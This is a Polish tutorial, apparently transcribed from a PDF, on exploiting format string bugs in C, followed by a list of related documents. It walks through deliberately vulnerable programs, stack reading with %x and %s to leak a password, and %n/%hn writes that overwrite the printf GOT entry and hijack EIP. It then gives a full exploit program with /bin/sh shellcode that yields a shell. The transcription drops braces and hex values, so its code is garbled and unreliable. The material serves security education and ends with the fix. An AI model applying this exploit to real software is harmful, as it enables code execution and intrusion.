Błędy łańcuchów formatujących (format string) by h07
|
|
- Jolanta Janicka
- 8 lat temu
- Przeglądów:
Transkrypt
1 Błędy łańcuchów formatujących (format string) by h07 Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący) umoŝliwiają wypełnianie łańcuchów znakowych odpowiednimi danymi. Przykład.. //printf.c int main() int cena = 65; printf("ksiazka kosztuje %d zl\n", cena); return 0; [h07@md5 format]$ gcc -o printf printf.c [h07@md5 format]$./printf Ksiazka kosztuje 65 zl Rezultatem działania przykładowego programu printf.c jest wyświetlenie łańcucha znakowego wypełnionego danymi w sposób określony przez programistę. Specyfikator %d umoŝliwia wyświetlenie wartości typu całkowitego w systemie dziesiętnym. W naszym przypadku argumentem specyfikatora %d była zmienna int cena. Błędy łańcuchów formatujących występują wówczas, gdy ilość specyfikatorów jest większa od ilości odpowiadających im argumentów. Brakujące wartości pobierane są ze stosu co w rezultacie umoŝliwia hakerowi podejrzenie zawartości stosu w celu odczytania istotnych danych lub przejęcia kontroli nad wykonywaniem programu. Podgląd zawartości stosu. Przykładowy program fmt.c podatny jest na atak ciągu formatującego. UŜyta w nim funkcja snprintf() nie zawiera formatera, co w rezultacie daje nam moŝliwość wprowadzenia z zewnątrz własnego łańcucha formatującego. //fmt.c int main(int argc, char *argv[]) char buffer[512]; if(argc > 1) snprintf(buffer, sizeof(buffer) -1, argv[1]); printf("%s\n", buffer);
2 return 0; format]$ gcc -o fmt fmt.c format]$./fmt "%d %d %d %d %d %d %d %d %d %d" Do programu fmt.c wprowadzono 10 specyfikatorów %d, dla których nie określono argumentów zawierających wartości całkowite. Konsekwencją tego było odczytanie brakujących danych ze stosu i wyświetlenie ich w systemie dziesiętnym Specyfikator %x umoŝliwia wyświetlenie wartości w systemie 16-stkowym. [h07@md5 format]$./fmt "%x %x %x %x %x %x %x %x %x %x" MoŜliwe jest zatem pobieranie danych ze stosu ale jak praktycznie to wykorzystać? //format.c int main(int argc, char *argv[]) char buffer[150]; char *password = "hello world"; if(argc == 1 strlen(argv[1]) > 100) printf("usege: %s <password>\n", argv[0]); exit(0); if(strcmp(argv[1], password) == 0) printf("password ok\n"); else sprintf(buffer, "Access denied, bad password: %s\n", argv[1]); printf(buffer); return 0; Powyzszy program podatny jest na błąd łańcucha formatującego. Standardowo weryfikuje on poprawność hasła, po czym wyświetla stosowny komunikat. Jeśli w tablicy argv[1] umieścimy dodatkowe specyfikatory to brakujące dane zostaną pobrane ze stosu (w tym nasz tajne hasło hello world ). Aby odczytać dane ze stosu w postaci łańcucha znakowego posłuŝymy się specyfikatorem %s, którego argument jest wskaźnikiem do łańcucha znaków. [h07@md5 format]$ for((i = 1; i <= 30; i++)); do echo -n "[$i] : " &&./format "[%$i\$x] = '%$i\$s'"; done [1] : Access denied, bad password: [ ] = 'Access denied, bad password: %s '
3 [2] : Access denied, bad password: [bffff80f] = '[%2$x] = '%2$s'' [3] : Segmentation fault [4] : Access denied, bad password: [0] = '(null)' [5] : Access denied, bad password: [0] = '(null)' [6] : Access denied, bad password: [40033bcc] = '' [7] : Access denied, bad password: [4002ebb4] = '' [8] : Access denied, bad password: [ ] = '' [9] : Access denied, bad password: [ ] = '' [10] : Segmentation fault [11] : Access denied, bad password: [80485e8] = 'hello world' [12] : Segmentation fault [13] : Segmentation fault [14] : Segmentation fault [15] : Segmentation fault [16] : Segmentation fault [17] : Segmentation fault [18] : Segmentation fault [19] : Segmentation fault [20] : Segmentation fault [21] : Segmentation fault [22] : Segmentation fault [23] : Segmentation fault '24] : Access denied, bad password: [ ] = ii [25] : Segmentation fault [26] : Access denied, bad password: [0] = '(null)' [27] : Segmentation fault [28] : Access denied, bad password: [ ] = 'ŘS@' [29] : Access denied, bad password: [0] = '(null)' [30] : Access denied, bad password: [bffff5a4] = ' ı ' Wykonując powyŝsze polecenie odczytaliśmy dane ze stosu (przesuniecie względem szczytu stosu określane jest poprzez zmienną iteracyjną i). Korzystając ze specyfikatorów %x i %s ("[%$i\$x] = '%$i\$s'") odczytaliśmy zarówno wartości szesnastkowe jak i łańcuchy znakowe. Nasze tajne hasło zostało odczytane podczas 11 iteracji pętli [11] : Access denied, bad password: [80485e8] = 'hello world' MoŜemy teraz odczytać nasze hasło stosując metodę bezpośredniego dostępu do parametru. [h07@md5 format]$./format "%11\$s" Access denied, bad password: hello world [h07@md5 format]$./format "hello world" Password ok Przejęcie kontroli nad wykonywaniem programu. Wykorzystanie błędów łańcuchów formatujących do przejęcia kontroli nad wykonywaniem programu nie jest rzeczą łatwą. Przede wszystkim musimy zapoznać się ze specyfikatorem %n. Ów specyfikator umieszcza ilość wyprowadzonych przed nim znaków w adresie pamięci określonym przez argument. Jeśli nie określimy argumentu dla specyfikatora %n, pobierze on brakujące dane ze stosu traktując je jako adres pod którym zostanie zapisana liczba wybprowadzonych przed nim znaków. Konsekwencją tego będzie nadpisanie niedozwolonych obszarów pamięci czyli błąd segmentacji.
4 format]$./fmt "AAAA%n" Segmentation fault I co dalej? Jeśli odnajdziemy przesunięcie względem szczytu stosu, w którym znajduje się nasz łańcuch znakowy (wypełniony konkretnym adresem) wprowadzany do programu i zmusimy specyfikator %n by pobrał nasz łańcuch jako argument to da nam to moŝliwość zapisu liczby wyprowadzonych znaków przed specyfikatorem %n w dowolnym miejscu pamięci. [h07@md5 format]$./fmt "AAAABBBB %x %x %x %x %x %x %x %x %x %x" AAAABBBB [h07@md5 format]$./fmt "AAAA %x %x %x %x %x %x" AAAA [h07@md5 format]$./fmt "AAAA%6\$x" AAAA Widzimy Ŝe początek naszego łańcucha znakowego znajduje się w szóstym przesunięciu względem szczytu stosu. Oznacza to, iŝ potrzebujemy sześciu specyfikatorów %x aby uzyskać 16-stkową reprezentacja łańcucha znakowego AAAA czyli UŜyjmy teraz specyfikatora %n zamiast %x i zobaczmy co się stanie. [h07@md5 format]$ gdb fmt (gdb) r "AAAA%6\$n" Starting program: /home/h07/format/fmt "AAAA%6\$n" 0x in vfprintf () from /lib/tls/libc.so.6 (gdb) info reg eax 0xf 15 ecx 0x edx 0x0 0 ebx 0x4013f esp 0xbfffe5d0 0xbfffe5d0 ebp 0xbffff25c 0xbffff25c esi 0xbfffe5f edi 0x4 4 eip 0x x eflags 0x cs 0x ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/1i $eip 0x <vfprintf+14642>: mov %edi,(%ecx) Próbowaliśmy zapisać wartość 0x4 pod adresem 0x Przed specyfikatorem %n umieściliśmy cztery znaki (AAAA) dlatego rejestr EDI ma wartość 0x4.
5 Jednym ze sposobów zmiany sterowania programu jest modyfikacja wartości umieszczonej pod adresem funkcji znajdującej się w tabeli GOT (Global Offset Table). Do takich funkcji naleŝy między innymi funkcja printf() i pierwszym krokiem jest ustalenie jej adresu. [h07@md5 format]$ objdump -R fmt fmt: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE e0 R_386_GLOB_DAT gmon_start d4 R_386_JUMP_SLOT libc_start_main d8 R_386_JUMP_SLOT printf dc R_386_JUMP_SLOT snprintf W naszym przypadku funkcja printf() ma adres d8. PoniewaŜ procesory zapisują adresy zaczynając od bajtów mniej znaczących musimy odwrócić kolejność bajtów adresu wprowadzanego do łańcucha formatującego d8 = \xd8\x95\x04\x08 Spróbujmy zatem nadpisac ten adres wartością 0x4 i zobaczmy co się stanie. [h07@md5 format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%6$n' 0x in?? () (gdb) info reg eax 0xbffff3b ecx 0xbffff edx 0x4 4 ebx 0x4013f esp 0xbffff38c 0xbffff38c ebp 0xbffff5b8 0xbffff5b8 esi 0xbffff edi 0xbffff5d eip 0x4 0x4 eflags 0x cs 0x ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Bingo ;) Sterowanie zostało zmienione. Rejestr sterujący EIP przyjął wartość 0x4 co spowodowało skok do adresu 0x Dlaczego 0x4 skoro nie wprowadziliśmy znaków AAAA? PoniewaŜ przed specyfikatorem %n umieściliśmy 4-bajtowy adres \xd8\x95\x04\x08 (\bajt\bajt\bajt\bajt).
6 MoŜemy wywnioskować ze długość łańcucha formatującego w systemie dziesiętnym odpowiada wartości rejestru EIP w systemie szesnastkowym. Spróbujmy zatem nadpisać rejestr EIP wartością 0x4141. //convert.c int main() int RET = 0x4141; printf("length: %d\n", RET -4); return 0; [h07@md5 format]$ gcc -o convert convert.c [h07@md5 format]$./convert Length: [h07@md5 format]$ gdb fmt (gdb) r $'\xd8\x95\x04\x08%16701x%6$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08%16701x%6$n' 0x in?? () (gdb) info reg eip eip 0x4141 0x4141 Program convert.c zamienił wartość 16-stkową 0x4141 na system dziesiętny odejmując długość łańcucha formatującego czyli 4 (4-bajtowy adres) Uzyskaliśmy wartość 16701, która wprowadzona do łańcucha formatującego dała rezultat nadpisania rejestru EIP wartością 0x4141. Sytuacja nieco się komplikuje gdy chcemy nadpisac rejestr EIP pełnym (4-bajtowym) adresem np. 0x Musimy rozbić ów adres na dwie części i zapisać pierwszą z nich w adresie funkcji printf() a drugą część bezpośrednio pod tym adresem (adres funkcji printf + 2 [ d8 +2 = da = \xda\x95\x04\x08 ]). Do tego celu uŝyjemy specyfikatora %hn, który umoŝliwia zapisanie wartości 16-bitowej (2-bajtowej). jeśli A < B r $'\xda\x95\x04\x08\xd8\x95\x04\x08%( A )x%6$hn%( B A )x%7$hn' jeśli A > B r $'\xd8\x95\x04\x08\xda\x95\x04\x08%( B )x%6$n%( A B )x%7$n' PowyŜej przedstawiony został prosty schemat ustalający długość łańcucha formatującego tak by uzyskane wartości powodowały napisanie rejestru EIP konkretnym adresem. Przykład: Adres = 0x Długość łańcucha = 8 A = hex: 4141 = dec: 16705
7 B = hex: 4242 = dec: (A < B) A: = B: = 257 (gdb) r $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' Starting program: /home/h07/format/fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%16697x%6$hn%257x%7$hn' 0x in?? () (gdb) info reg eip eip 0x x Adres = 0x Długość łańcucha = 8 A = hex: 4242 = dec: B = hex: 4141 = dec: (A > B) B: = A: = 257 (gdb) r $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' Starting program: /home/h07/format/fmt $'\xd8\x95\x04\x08\xda\x95\x04\x08%16697x%6$n%257x%7$n' 0x in?? () (gdb) info reg eip eip 0x x Potrafimy juŝ napisać rejestr EIP dowolnym adresem więc nadszedł czas napisać exploit który wykorzysta błąd łańcucha formatującego w programie fmt.c uruchamiając kod powłoki. //exp.c (format string exploit demo) by h07 #include <stdio.h> #define BUFF_SIZE 1000 #define LEN 8 #define NOP 0x90 char buffer[buff_size]; char fmt[80]; char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"
8 "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x58\x59\x59\x59\x59\x5a\x5a\x5a\x5a"; unsigned long get_esp() asm ("movl %esp,%eax"); int main(int argc, char *argv[]) unsigned long RET, offset = 0; unsigned int A, B; if(argc > 1) offset = atoi(argv[1]); RET = get_esp() - offset; A = (RET & 0xffff0000) >> 16; B = (RET & 0x0000ffff); printf("\nret: 0x%x\n", RET); if(a < B) A -= LEN; sprintf(fmt, "$'\\xda\\x95\\x04\\x08\\xd8\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", A, (B - A) -LEN); else B -= LEN; sprintf(fmt, "$'\\xd8\\x95\\x04\\x08\\xda\\x95\\x04\\x08" "%%%ux%%6$hn" "%%%ux%%7$hn'", B, (A - B) -LEN); if((sizeof(fmt) + sizeof(shellcode)) > BUFF_SIZE) printf("error: buffer too small..\n"); exit(1); memset(buffer, NOP, BUFF_SIZE -1); memcpy(buffer, "EXP=", 4); memcpy(buffer + BUFF_SIZE -1 - strlen(shellcode), shellcode, strlen(shellcode)); putenv(buffer); printf("\nformat string: %s\n\n", fmt); system("/bin/bash"); return 0;
9 Exploit ustala adres powrotny po przez odjęcie offsetu od wierzchołka stosu. Następnie uzyskany adres powrotny rozdzielany jest na dwie części (A i B) po czym następuje obliczanie długości łańcucha formatującego. Obliczone wartości nadpisują adres funkcji printf() i adres znajdujący się pod nią uzyskując 16-stkową reprezentacje adresu do którego zostanie wykonany skok. Na samym koncu tworzona jest zmienna systemowa $EXP o rozmiarze 1000 bajtów która wypełniana jest instrukcjami NOP a później shellcodem. Odpalamy exploit: [h07@md5 format]$ gcc -o exp exp.c [h07@md5 format]$./exp -400 RET: 0xbffff748 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' [h07@md5 format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14153x%7$hn' Segmentation fault [h07@md5 format]$./exp -800 RET: 0xbffff8d8 format string: $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' [h07@md5 format]$./fmt $'\xda\x95\x04\x08\xd8\x95\x04\x08%49143x%6$hn%14553x%7$hn' sh-2.05b$ W ten oto sposób wykorzystaliśmy błąd łańcucha formatującego w programie fmt.c zmieniając jego sterowanie i uruchamiając kod powłoki znajdujący się w zmiennej systemowej $EXP. Outro. Błąd łańcucha formatującego znajdujący się w programie fmt.c jest bardzo łatwy do naprawienia. Wystarczy umieścić w funkcji snprinf() formater określający sposób formatowania danych. snprintf(buffer, sizeof(buffer) -1, argv[1]); //źle snprintf(buffer, sizeof(buffer) -1, "%s", argv[1]); //dobrze Ataki typu format string stają się coraz rzadsze. Nie znaczy to jednak ze błędy tego typu nie mają juz miejsca czego przykładem jest między innymi serwer FTP wu-ftp EoF;
Buffer Overflow (art. 2) by h07 (h07@interia.pl)
Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania
Bardziej szczegółowoBuffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)
Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Intro Większość exploitów wykorzystujących przepełnienie bufora na stosie nadpisuje
Bardziej szczegółowoPrzepełnienie bufora i łańcuchy formatujace
Metody włamań do systemów komputerowych Przepełnienie bufora i łańcuchy formatujace Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl
Bardziej szczegółowoProgramowanie w asemblerze Aspekty bezpieczeństwa
Programowanie w asemblerze Aspekty bezpieczeństwa 20 grudnia 2016 Ochrona stron pamięci Najstarsze(?) ataki: modyfikacja kodu programu. Lekarstwo: W XOR X (Write XOR execute) Oznacza to, że w atrybutach
Bardziej szczegółowoArchitektura komputerów
Architektura komputerów Tydzień 5 Jednostka Centralna Zadania realizowane przez procesor Pobieranie rozkazów Interpretowanie rozkazów Pobieranie danych Przetwarzanie danych Zapisanie danych Główne zespoły
Bardziej szczegółowoStałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane
Stałe, znaki, łańcuchy znaków, wejście i wyjście sformatowane Stałe Oprócz zmiennych w programie mamy też stałe, które jak sama nazwa mówi, zachowują swoją wartość przez cały czas działania programu. Można
Bardziej szczegółowoJęzyki i metodyka programowania. Typy, operatory, wyrażenia. Wejście i wyjście.
Typy, operatory, wyrażenia. Wejście i wyjście. Typy, operatory, wyrażenia Zmienna: [] [ '[' ']' ] ['=' ]; Zmienna to fragment pamięci o określonym
Bardziej szczegółowoĆwiczenie 3. Konwersja liczb binarnych
1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się
Bardziej szczegółowoPliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego
Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego 1 /24 Pisanie pojedynczych znaków z klawiatury do pliku #include void main(void) { FILE *fptr; // wkaznik do pliku, tzw. uchwyt
Bardziej szczegółowoProgramowanie proceduralne INP001210WL rok akademicki 2018/19 semestr letni. Wykład 6. Karol Tarnowski A-1 p.
Programowanie proceduralne INP001210WL rok akademicki 2018/19 semestr letni Wykład 6 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411B Plan prezentacji Wskaźnik do pliku Dostęp do pliku: zapis, odczyt,
Bardziej szczegółowoProgramowanie w asemblerze Uruchamianie programów
Programowanie w asemblerze Uruchamianie programów 17 stycznia 2017 Uruchamianie programów Przy uruchamianiu i badaniu zachowania programów systemowych używa się wielu narzędzi. Prostsze z ich, takie jak
Bardziej szczegółowoInformatyka, Ćwiczenie 1. 1. Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu
Informatyka, Ćwiczenie 1 1. Uruchomienie Microsoft Visual C++ I. ZałoŜenie nowego projektu Wybieramy menu: File>New>Files jak na rys. poniŝej Zapisujemy projekt pod nazwą LAN, w katalogu d:\temp\lab typu
Bardziej szczegółowoPodstawy programowania w języku C++
Podstawy programowania w języku C++ Część jedenasta Przetwarzanie plików amorficznych Konwencja języka C Autor Roman Simiński Kontakt roman.siminski@us.edu.pl www.us.edu.pl/~siminski Niniejsze opracowanie
Bardziej szczegółowoJęzyki i metodyka programowania. Wprowadzenie do języka C
Literatura: Brian W. Kernighan, Dennis M. Ritchie Język Ansi C, Wydawnictwa Naukowo - Techniczne, 2007 http://cm.bell-labs.com/cm/cs/cbook/index.html Scott E. Gimpel, Clovis L. Tondo Język Ansi C. Ćwiczenia
Bardziej szczegółowo002 Opcode Strony projektu:
ReverseCraft assem bler by gynvael.coldwind//vx Opcode Strony projektu: http://re.coldwind.pl/ http://www.uw-team.org/ Zasoby! czyli co możemy użyć... Instrukcje procesora Pamięć Wirtualna Rejestry CPU
Bardziej szczegółowoWskaźniki. Informatyka
Materiały Wskaźniki Informatyka Wskaźnik z punktu widzenia programisty jest grupą komórek pamięci (rozmiar wskaźnika zależy od architektury procesora, najczęściej są to dwa lub cztery bajty ), które mogą
Bardziej szczegółowoWstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy. Wykład 12. Karol Tarnowski A-1 p.
Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy Wykład 12 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411B Plan prezentacji (1) Obsługa łańcuchów znakowych getchar(), putchar()
Bardziej szczegółowoINFORMATYKA Studia Niestacjonarne Elektrotechnika
INFORMATYKA Studia Niestacjonarne Elektrotechnika Wydział Elektrotechniki i Informatyki dr inż. Michał Łanczont Wydział Elektrotechniki i Informatyki p. E419 tel. 81-538-42-93 m.lanczont@pollub.pl http://lanczont.pollub.pl
Bardziej szczegółowoXV. Wskaźniki Odczytywanie adresu pamięci istniejących zmiennych Wskaźniki pierwsze spojrzenie.
XV. Wskaźniki 15.1. Odczytywanie adresu pamięci istniejących zmiennych Język C++ w bardzo łatwy sposób umoŝliwia nam pobieranie adresu pamięci wybranych zmiennych. Wskaźnik zajmuje zazwyczaj 4 bajty bez
Bardziej szczegółowoStałe i zmienne znakowe. Stała znakowa: znak
Stałe i zmienne znakowe. Stała znakowa: znak Na przykład: a, 1, 0 c Każdy znak jest reprezentowany w pamięci przez swój kod. Kody alfanumerycznych znaków ASCII to liczby z przedziału [32, 127]. Liczby
Bardziej szczegółowo2 Przygotował: mgr inż. Maciej Lasota
Laboratorium nr 2 1/7 Język C Instrukcja laboratoryjna Temat: Wprowadzenie do języka C 2 Przygotował: mgr inż. Maciej Lasota 1) Wprowadzenie do języka C. Język C jest językiem programowania ogólnego zastosowania
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012
PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 4 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 c Dr
Bardziej szczegółowoPROGRAMOWANIE NISKOPOZIOMOWE
PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 Wprowadzenie
Bardziej szczegółowoJęzyki programowania. Przetwarzanie plików amorficznych Konwencja języka C. Część siódma. Autorzy Tomasz Xięski Roman Simiński
Języki programowania Część siódma Przetwarzanie plików amorficznych Konwencja języka C Autorzy Tomasz Xięski Roman Simiński Niniejsze opracowanie zawiera skrót treści wykładu, lektura tych materiałów nie
Bardziej szczegółowoPliki. Informacje ogólne. Obsługa plików w języku C
Pliki Informacje ogólne Plik jest pewnym zbiorem danych, zapisanym w systemie plików na nośniku danych (np. dysku twardym, pendrive, płycie DVD itp.). Może posiadać określone atrybuty, a odwołanie do niego
Bardziej szczegółowoProgramowanie proceduralne INP001210WL rok akademicki 2015/16 semestr letni. Wykład 6. Karol Tarnowski A-1 p.
Programowanie proceduralne INP001210WL rok akademicki 2015/16 semestr letni Wykład 6 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411b Plan wykładu Operacje wejścia-wyjścia Dostęp do plików Struktury
Bardziej szczegółowoProgramowanie niskopoziomowe
Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym
Bardziej szczegółowoPliki. Informacje ogólne. Obsługa plików w języku C
Pliki Informacje ogólne Plik jest pewnym zbiorem danych, zapisanym w systemie plików na nośniku danych. Może posiadać określone atrybuty, a odwołanie do niego odbywa się poprzez nazwę. Każdy plik ma skończoną
Bardziej szczegółowoPodstawy programowania. Wykład Pętle. Tablice. Krzysztof Banaś Podstawy programowania 1
Podstawy programowania. Wykład Pętle. Tablice. Krzysztof Banaś Podstawy programowania 1 Pętle Pętla jest konstrukcją sterującą stosowaną w celu wielokrotnego wykonania tego samego zestawu instrukcji jednokrotne
Bardziej szczegółowoProgramowanie Niskopoziomowe
Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie
Bardziej szczegółowoArchitektura komputerów
Architektura komputerów Wykład 6 Jan Kazimirski 1 Architektura x86 2 Środowisko wykonawcze x86 (32-bit) Przestrzeń adresowa Liniowa przestrzeń adresowa do 4 GB Fizyczna przestrzeń adresowa do 64 GB Rejestry
Bardziej szczegółowoReturn-oriented exploiting
HISPASEC Return-oriented exploiting by Gynvael Coldwind Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. IT @ Hispasec - wcześniej ArcaBit - autor kilku artykułów (Hakin9 i Xploit) - prowadzi
Bardziej szczegółowoWstęp do programowania INP003203L rok akademicki 2018/19 semestr zimowy. Laboratorium 2. Karol Tarnowski A-1 p.
Wstęp do programowania INP003203L rok akademicki 2018/19 semestr zimowy Laboratorium 2 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411B Plan prezentacji Komentarze Funkcja printf() Zmienne Łańcuchy
Bardziej szczegółowoProgramowanie I C / C++ laboratorium 03 arytmetyka, operatory
Programowanie I C / C++ laboratorium 03 arytmetyka, operatory Jarosław Piersa Wydział Matematyki i Informatyki, Uniwersytet Mikołaja Kopernika 2013-02-19 Typ znakowy Typ znakowy Typ wyliczeniowy # include
Bardziej szczegółowoZmienne, stałe i operatory
Zmienne, stałe i operatory Przemysław Gawroński D-10, p. 234 Wykład 2 4 marca 2019 (Wykład 2) Zmienne, stałe i operatory 4 marca 2019 1 / 21 Outline 1 Zmienne 2 Stałe 3 Operatory (Wykład 2) Zmienne, stałe
Bardziej szczegółowoWstęp do Programowania, laboratorium 02
Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite
Bardziej szczegółowoint tab[5]; tab[1]; ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu macierz [ ] - dwuargumentowy operator indeksowania
Rok akademicki 2013/2014, Pracownia nr 10 2/20 Informatyka 1 Tablica elementów ciągły obszar pamięci, w którym umieszczone są elementy tego samego typu Politechnika Białostocka - Wydział Elektryczny Elektrotechnika,
Bardziej szczegółowoZadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów
Operacje na stosie Stos jest obszarem pamięci o dostępie LIFO (Last Input First Output). Adresowany jest niejawnie przez rejestr segmentowy SS oraz wskaźnik wierzchołka stosu SP. Używany jest do przechowywania
Bardziej szczegółowoReprezentacja symboli w komputerze.
Reprezentacja symboli w komputerze. Znaki alfabetu i łańcuchy znakowe. Programowanie Proceduralne 1 ASCII The American Standard Code for Information Interchange, 1968 r. 7 bitów, liczby z zakresu 0-127
Bardziej szczegółowoWskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie.
Część XXII C++ w Wskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie. Ćwiczenie 1 1. Utwórz nowy projekt w Dev C++ i zapisz go na
Bardziej szczegółowoParę słów o przepełnieniu bufora.
Parę słów o przepełnieniu bufora. Łukasz Pejas Styczeń 2006 1 Bufor na stosie. Stos służy między innymi do przekazywania parametrów do funkcji i do tworzenia zmiennych lokalnych funkcji. Jest czymś w rodzaju
Bardziej szczegółowoFunkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych
Funkcje standardowej biblioteki wejść-wyjść do wyświetlania i pobierania danych Przykłady wykorzystanie funkcji printf i scanf do wyświetlania danych na wyświetlaczu LCD oraz komunikacji sterownika mikroprocesorowego
Bardziej szczegółowoISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje
Funkcje (podprogramy) Mianem funkcji określa się fragment kodu, który może być wykonywany wielokrotnie z różnych miejsc programu. Ogólny zapis: typ nazwa(argumenty) ciało funkcji typ określa typ danych
Bardziej szczegółowoProgramowanie I C / C++ laboratorium 01 Organizacja zajęć
Programowanie I C / C++ laboratorium 01 Jarosław Piersa Wydział Matematyki i Informatyki, Uniwersytet Mikołaja Kopernika 2013-02-12 Program zajęć Zasady zaliczenia Program operacje wejścia i wyjścia instrukcje
Bardziej szczegółowoTablice, funkcje - wprowadzenie
Tablice, funkcje - wprowadzenie Przemysław Gawroński D-10, p. 234 Wykład 5 25 marca 2019 (Wykład 5) Tablice, funkcje - wprowadzenie 25 marca 2019 1 / 12 Outline 1 Tablice jednowymiarowe 2 Funkcje (Wykład
Bardziej szczegółowo7 Przygotował: mgr inż. Maciej Lasota
Laboratorium nr 7 1/5 Język C Instrukcja laboratoryjna Temat: Operacje na plikach. 7 Przygotował: mgr inż. Maciej Lasota 1) Pliki. Plik (ang. file), jest to nazwany ciąg danych (inaczej zbiór danych),
Bardziej szczegółowo1. Wprowadzanie danych z klawiatury funkcja scanf
1. Wprowadzanie danych z klawiatury funkcja scanf Deklaracja int scanf ( const char *format, wskaźnik, wskaźnik,... ) ; Biblioteka Działanie stdio.h Funkcja scanf wczytuje kolejne pola (ciągi znaków),
Bardziej szczegółowoKatedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak
Katedra Elektrotechniki Teoretycznej i Informatyki wykład 12 - sem.iii M. Czyżak Język C - preprocesor Preprocesor C i C++ (cpp) jest programem, który przetwarza tekst programu przed przekazaniem go kompilatorowi.
Bardziej szczegółowoOpis: Instrukcja warunkowa Składnia: IF [NOT] warunek [AND [NOT] warunek] [OR [NOT] warunek].
ABAP/4 Instrukcja IF Opis: Instrukcja warunkowa Składnia: IF [NOT] warunek [AND [NOT] warunek] [OR [NOT] warunek]. [ELSEIF warunek. ] [ELSE. ] ENDIF. gdzie: warunek dowolne wyrażenie logiczne o wartości
Bardziej szczegółowoISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje
Funkcje (podprogramy) Mianem funkcji określa się fragment kodu, który może być wykonywany wielokrotnie z różnych miejsc programu. Ogólny zapis: typ nazwa(argumenty) ciało funkcji typ określa typ danych
Bardziej szczegółowoProste typy zmiennych języka C++ *) Zapis 3.4 e-38 jest równoważny zapisowi 3,
WYKŁAD 1. PODSTAWY 1_1. Typy zmiennych Proste typy zmiennych języka C++ Nazwa typu (nazwa skrócona) Rozmiar (bajtów) unsigned char 1 signed char (char) unsigned short int (unsigned) signed short int (int)
Bardziej szczegółowoCel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.
